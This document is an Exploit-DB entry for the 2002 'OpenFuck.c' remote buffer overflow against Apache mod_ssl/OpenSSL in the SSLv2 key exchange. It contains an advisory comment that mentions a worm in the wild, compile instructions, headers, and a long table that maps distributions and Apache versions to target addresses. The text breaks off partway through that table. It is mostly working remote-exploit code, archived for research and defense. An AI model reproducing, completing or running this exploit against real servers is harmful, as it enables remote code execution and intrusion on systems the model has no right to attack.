Exploit-DB #21671
Description: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2002-07-30
Author: spabam

Exploit:
/*
source: https://www.securityfocus.com/bid/5363/info

A buffer-overflow vulnerability has been reported in some versions of OpenSSL.

The issue occurs in the handling of the client key value during the negotiation of the SSLv2 protocol. A malicious client may be able to exploit this vulnerability to execute arbitrary code as the vulnerable server process or possibly to create a denial-of-service condition.

***UPDATE: A worm that likely exploits this vulnerability has been discovered propagating in the wild. Additionally, this code includes peer-to-peer and distributed denial-of-service capabilities. There have been numerous reports of intrusions in Europe. It is not yet confirmed whether this vulnerability is in OpenSSL, mod_ssl, or another component. Administrators are advised to upgrade to the most recent versions or to disable Apache, if possible, until more information is available. 
*/

/*
 * VERY PRIV8 spabam SPAX@zone-h.org
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>

/* update this if you add architectures */
#define MAX_ARCH 131

struct archs {
	char* desc;
	int func_addr;	/* objdump -R /usr/sbin/apache | grep free */
} architectures[] = {

        {
                "Caldera OpenLinux (apache-1.3.26)",
                0x080920e0
        },
	{
		"Cobalt Sun 6.0 (apache-1.3.12)",
		0x8120f0c
	},
	{
		"Cobalt Sun 6.0 (apache-1.3.20)",
		0x811dcb8
	},
	{
		"Cobalt Sun x (apache-1.3.26)",
		0x8123ac3
	},
	{
		"Cobalt Sun x Fixed2 (apache-1.3.26)",
		0x81233c3
	},
	{
		"Conectiva 4 (apache-1.3.6)",
		0x08075398
	},
	{
		"Conectiva 4.1 (apache-1.3.9)",
		0x0808f2fe
	},
	{
		"Conectiva 6 (apache-1.3.14)",
		0x0809222c
	},
	{
		"Conectiva 7 (apache-1.3.12)",
		0x0808f874
	},
	{
		"Conectiva 7 (apache-1.3.19)",
		0x08088aa0
	},
	{
		"Conectiva 7/8 (apache-1.3.26)",
		0x0808e628
	},
	{
		"Conectiva 8 (apache-1.3.22)",
		0x0808b2d0
	},
	{
		"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",
		0x08095264
	},
	{
		"Debian GNU Linux (apache_1.3.19-1)",
		0x080966fc
	},
	{
		"Debian GNU Linux (apache_1.3.22-2)",
		0x08096aac
	},
	{
		"Debian GNU Linux (apache-1.3.22-2.1)",
		0x08083828
	},
	{
		"Debian GNU Linux (apache-1.3.22-5)",
		0x08083728
	},
	{
		"Debian GNU Linux (apache_1.3.23-1)",
		0x08085de8
	},
	{
		"Debian GNU Linux (apache_1.3.24-2.1)",
		0x08087d08
	},
        {       "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",
	        0x080873ac
	},
	{
		"Debian GNU Linux (apache_1.3.24-3)",
		0x08087d68
	},
	{
		"Debian GNU Linux (apache-1.3.26-1)",
		0x0080863c4
	},
	{
		"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",
		0x080863cc
	},
	{       "Debian GNU Linux (apache-1.3.27)",
	        0x0080866a3
	},
	
	/* targets de BSD */

{ "FreeBSD (apache-1.3.9)", 0xbfbfde00 },
{ "FreeBSD (apache-1.3.11)", 0x080a2ea8 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 },
{ "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c },
{ "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 },
{ "FreeBSD (apache-1.3.12)", 0x0809bd7c },
{ "FreeBSD (apache-1.3.14)", 0xbfbfdc00 },
{ "FreeBSD (apache-1.3.14)", 0x080ab68c },
{ "FreeBSD (apache-1.3.14)", 0x0808c76c },
{ "FreeBSD (apache-1.3.14)", 0x080a3fc8 },
{ "FreeBSD (apache-1.3.14)", 0x080ab6d8 },
{ "FreeBSD (apache-1.3.17_1)", 0x0808820c },
{ "FreeBSD (apache-1.3.19)", 0xbfbfdc00 },
{ "FreeBSD (apache-1.3.19_1)", 0x0808c96c },
{ "FreeBSD (apache-1.3.20)", 0x0808cb70 },
{ "FreeBSD (apache-1.3.20)", 0xbfbfc000 },
{ "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 },
{ "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 },
{ "FreeBSD (apache-1.3.22)", 0xbfbfc000 },
{ "FreeBSD (apache-1.3.22_7)", 0x0808d110 },
{ "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 },
{ "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 },
{ "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 },
{ "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c },
{ "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec },
{ "FreeBSD (apache-1.3.27)", 0x080902e4 },

	

	{
		"Gentoo Linux (apache-1.3.24-r2)",
		0x08086c34
	},
	{
		"Mandrake Linux X.x (apache-1.3.22-10.1mdk)",
		0x080808ab
	},
	{
		"Mandrake Linux 7.1 (apache-1.3.14-2)",
		0x0809f6c4
	},
	{
		"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",
		0x0809d233
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.14-2mdk)",
		0x0809f6ef
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.14) 2",
		0x0809d6c4
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",
		0x0809ccde
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",
		0x0809ce14
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",
		0x0809d262
	},
	{
		"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",
		0x08083545
	},
	{
		"Mandrake Linux 8.0 (apache-1.3.19-3)",
		0x0809ea98
	},
	{
		"Mandrake Linux 8.1 (apache-1.3.20-3)",
		0x0809e97c
	},
	{
		"Mandrake Linux 8.2 (apache-1.3.23-4)",
		0x08086580
	},
	{       "Mandrake Linux 8.2 #2 (apache-1.3.23-4)",
	        0x08086484
	},
	{       "Mandrake Linux 8.2 (apache-1.3.24)",
	        0x08086665
	},
	{
		"RedHat Linux ?.? GENERIC (apache-1.3.12-1)",
		0x0808c0f4
	},
	{
		"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",
		0x080d2c35
	},
	{
		"RedHat Linux 4.2 (apache-1.1.3-3)",
		0x08065bae
	},
	{
		"RedHat Linux 5.0 (apache-1.2.4-4)",
		0x0808c82c
	},
	{
		"RedHat Linux 5.1-Update (apache-1.2.6)",
		0x08092a45
	},
	{
		"RedHat Linux 5.1 (apache-1.2.6-4)",
		0x08092c2d
	},
	{
		"RedHat Linux 5.2 (apache-1.3.3-1)",
		0x0806f049
	},
	{
		"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",
		0x0808e4d8
	},
	{
		"RedHat Linux